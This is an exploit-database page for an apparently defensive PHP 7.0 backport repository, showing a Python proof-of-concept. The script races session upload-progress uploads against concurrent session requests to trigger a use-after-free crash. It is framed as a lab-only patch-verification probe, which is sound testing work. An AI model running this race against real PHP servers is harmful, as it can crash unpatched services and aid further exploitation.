Exploit database

GH-b3b5d62ebd8de67f10fb19efbcb1a879

frnmrls/php70-cve-2026-backport

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
frnmrls/php70-cve-2026-backportRevision c685e83a5dec

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

verification/poc/session_uaf_race.py

Python · 4,948 bytes
#!/usr/bin/env python3
"""CVE-2026-109619: concurrent session upload-progress UAF probe.

Based on the public php2shell research pattern: prime the upload-progress
handler, force a concurrent session reinitialization with the same PHPSESSID,
then continue the upload. In an unpatched build the progress callback can keep
pointers into a session HashTable that was freed by the concurrent request.
The patched build removes the upload-progress callback, so this producer path
does not exist.

This is a crash/UAF signal probe, not a weaponized RCE exploit. Run only
against the isolated lab.

Usage:
  python3 session_uaf_race.py --host 127.0.0.1 --port 18080 --attempts 20
"""
import argparse
import random
import socket
import string
import sys
import threading
import time

TRIGGER = "php2shell_trigger"


def rand_str(n=16):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def connect(host, port, timeout=10):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((host, port))
    return s


def multipart_head(boundary, filename):
    return (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
        f"{TRIGGER}\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="file"; filename="{filename}"\r\n'
        f"Content-Type: application/octet-stream\r\n\r\n"
    ).encode()


def multipart_tail(boundary):
    return f"\r\n--{boundary}--\r\n".encode()


def force_reinit(host, port, path, sid):
    try:
        s = connect(host, port, timeout=10)
        req = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: {host}:{port}\r\n"
            f"Cookie: PHPSESSID={sid}\r\n"
            f"Connection: close\r\n\r\n"
        )
        s.sendall(req.encode())
        try:
            s.recv(4096)
        except socket.timeout:
            pass
        s.close()
    except Exception:
        pass


def attempt(host, port, upload_path, reader_path, sid, stall):
    boundary = rand_str(24)
    filename = rand_str(8) + ".bin"
    chunk1 = b"A" * 8192
    chunk2 = b"B" * 16384
    head = multipart_head(boundary, filename)
    tail = multipart_tail(boundary)
    length = len(head) + len(chunk1) + len(chunk2) + len(tail)
    header = (
        f"POST {upload_path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Cookie: PHPSESSID={sid}\r\n"
        f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
        f"Content-Length: {length}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()

    s = connect(host, port, timeout=15)
    try:
        s.sendall(header + head + chunk1)
        t = threading.Thread(target=force_reinit, args=(host, port, reader_path, sid))
        t.daemon = True
        t.start()
        time.sleep(stall)
        t.join(timeout=2)
        s.sendall(chunk2 + tail)
        try:
            resp = s.recv(4096)
            first = resp.split(b"\r\n", 1)[0].decode("latin1", "replace")
            code = first.split(" ")[1] if len(first.split(" ")) > 1 else "?"
            return code
        except socket.timeout:
            return "timeout"
    except (ConnectionResetError, BrokenPipeError, OSError) as exc:
        return "reset:" + type(exc).__name__
    finally:
        try:
            s.close()
        except Exception:
            pass


def health(host, port):
    try:
        s = connect(host, port, timeout=5)
        s.sendall(f"GET /index.php HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n".encode())
        data = s.recv(512)
        s.close()
        return b"200" in data.split(b"\r\n", 1)[0]
    except Exception:
        return False


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=18080)
    ap.add_argument("--upload-path", default="/upload.php")
    ap.add_argument("--reader-path", default="/session.php")
    ap.add_argument("--attempts", type=int, default=20)
    ap.add_argument("--stalls", type=float, nargs="+", default=[0.1, 0.3, 0.6, 1.2])
    args = ap.parse_args()

    results = []
    for i in range(args.attempts):
        sid = rand_str(26)
        stall = args.stalls[i % len(args.stalls)]
        try:
            code = attempt(args.host, args.port, args.upload_path, args.reader_path, sid, stall)
        except Exception as exc:
            code = "error:" + type(exc).__name__
        results.append(code)
        print("attempt=%02d stall=%.2f code=%s health=%s" % (i, stall, code, health(args.host, args.port)))
        if code == "reset:ConnectionResetError" or code in ("500", "502", "503", "timeout"):
            print("VERDICT: UAF_OR_CRASH_SIGNAL")
            return 0
    print("attempts=%d codes=%s" % (len(results), results))
    print("VERDICT: NO_CRASH_SIGNAL")
    return 1


if __name__ == "__main__":
    sys.exit(main())